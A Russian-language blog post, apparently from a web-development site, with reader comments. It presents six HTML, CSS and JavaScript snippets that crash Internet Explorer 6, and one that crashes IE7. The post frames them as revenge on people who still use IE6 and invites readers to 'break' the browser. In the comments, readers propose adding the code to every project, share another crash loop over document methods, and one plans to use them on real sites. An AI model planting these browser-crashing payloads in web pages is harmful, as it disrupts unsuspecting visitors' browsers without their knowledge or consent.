535
 

6 способов сломать Internet Explorer

Думаю всякий разработчик сталкивался с многочисленными проблемами и багами при разработке сайтов под IE 6. С прискорбием отмечу тот факт, что в ходе преодоления всех этих проблем было зверски убито огромное количество времени. Если же вам, уважаемые коллеги разработчики, все же захочется отомстить за это тем, кто еще пользуется IE 6, то вам возможно пригодятся приведенные ниже советы. Эти 6 способов являются кодами JavaScript, HTML, CSS, которые, присутствуя в веб странице, вызывают аварийное завершение работы Internet Explorer 6 (последний совет актуален также для седьмой версии):

Аварийное завершение работы Internet Explorer

Итак, первый метод - следующий цикл for:

<script>for (x in document.write) { document.write(x);}</script>

Метод номер два, обнаруженный в прошлом году:

<style>*{position:relative}</style><table><input></table>

Метод номер три - самый короткий из всех:

<STYLE>@;/*

Метод четыре - самый длинный из всех:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 

      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 

<body onload="galgenfrist();">

    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 

</body>
</html>

Метод номер пять - такое можно написать и случайно :) :

<body onLoad="window()">

Ну и последний, шестой метод уничтожает (по идее) Internet Explorer 7:

function getX( oElement ) {
    var iReturnValue = 0;
    while( oElement != null ) {
        iReturnValue += oElement.offsetLeft;
        oElement = oElement.offsetParent;
    }
    return iReturnValue;
}

На этом все. Ломайте на здоровье :)

Источник

Добавить в закладки:

Комментарии на “6 способов сломать Internet Explorer”

  1. Если бы ещё, кроме аварийного завершения можно было бы подсунуть окошко, о том что майкрософт советует обновится до IE7. Сейчас редко ктьо проверяет под старые версии Оперы или Фаирфокс, а вот про ИЕ6 помнят всегда, хотя как мне кажется давно уже пора забыть про него. Надо всем, хоть както связанным с web плюнуть раз и навсегда на 6ого осла. Всё таки ИЕ7 боле сносен в рендере XHTML документов. Надо устроить флешмоб, и добавлять такой код на все проэкты, тем самым заставляя людей обновлятся до 7ой версии

  2. @Jman
    Такое окошко сделать не сложно. Делаем его невидимым и пишем в нем что-то вроде “Майкрософт советует обновиться до ИЕ 7″. А потом добавляем условный цсс, который показывает такое окно для IE меньше седьмого:
    <!–[if lt IE 7]>
    <style>
    #my_message {display:block}
    </style>
    <![endif]–>

    Остается надеяться, что про ИЕ 6 действительно забудем очень скоро, а пока все же в логах он наблюдается очень часто.

  3. 5й действительно работает, не думал, даже в IETester

  4. Прикольнее было бы, если бы писалось именно в окне аварийного завершения. Но и такой метод нормальный, вопрос в другом, успеет ли пользователь увидеть это окно

  5. Можно я добавлю еще один способ,раняющий IE6?

    var crash = document.getElementsByTagName;
    for(var i in crash){};

    По моему, можно использовать любой метод объекта DOCUMENT.

  6. @freebit
    Спасибо за совет. IE6 сломался успешно, но у меня получилось только с getElementsByTagName.

  7. Не знаю как это объяснить, но у меня createElement,createTextNode,getElementById и даже write завалили ослика, не без помощи for(var x in object){}, конечно.
    А вообще странно как-то это все:( Вроде получаем ссылку на функцию-объект. Почему бы спокойно не перебрать свойства и все! Тем не менее свойсво функции prototype только огнелис видит,а все остальные не в курсе. Или может это я не в курсе?

  8. @freebit
    Хм… Я ошибся где-то. Сейчас перепроверил, действительно ослик падает на всех функциях (я попробовал createElement и getElementById).

    …свойсво функции prototype только огнелис видит,а все остальные не в курсе. Или может это я не в курсе?

    Может мы и не в курсе, проверял только что в Opera DragonFly, он prototype не видит, а фаерфокс видит, короче каждый браузер работает как хочет… ну а ослик просто падает :)

  9. Даже жалко его немного.

  10. Это типа не гласного противостояния разработчикам IE? А как ПС на это отреагируют? В бан не попадешь?

  11. @Kran
    Сомневаюсь, что кто-нибудь в реальном проекте будет использовать все эти капканы на ослика. Это скорее наглядная демонстрация того, каким отстоем является ИЕ. Можно назвать это противостоянием, или антирекламой, которую делаю с превеликим удовольствием. Что касается поисковиков, не могу сказать, вычисляют они такие коды и ли нет.

  12. А вы знаете, мне кажется, что я могу это использовать на проектах, необремененных
    финансовыми сапогами.О результатах расскажу.

  13. Чтобы сломать IE, достаточно просто открыть этого глюкавого осла…

Оставить комментарий

JSToolbox создан на основе WordPress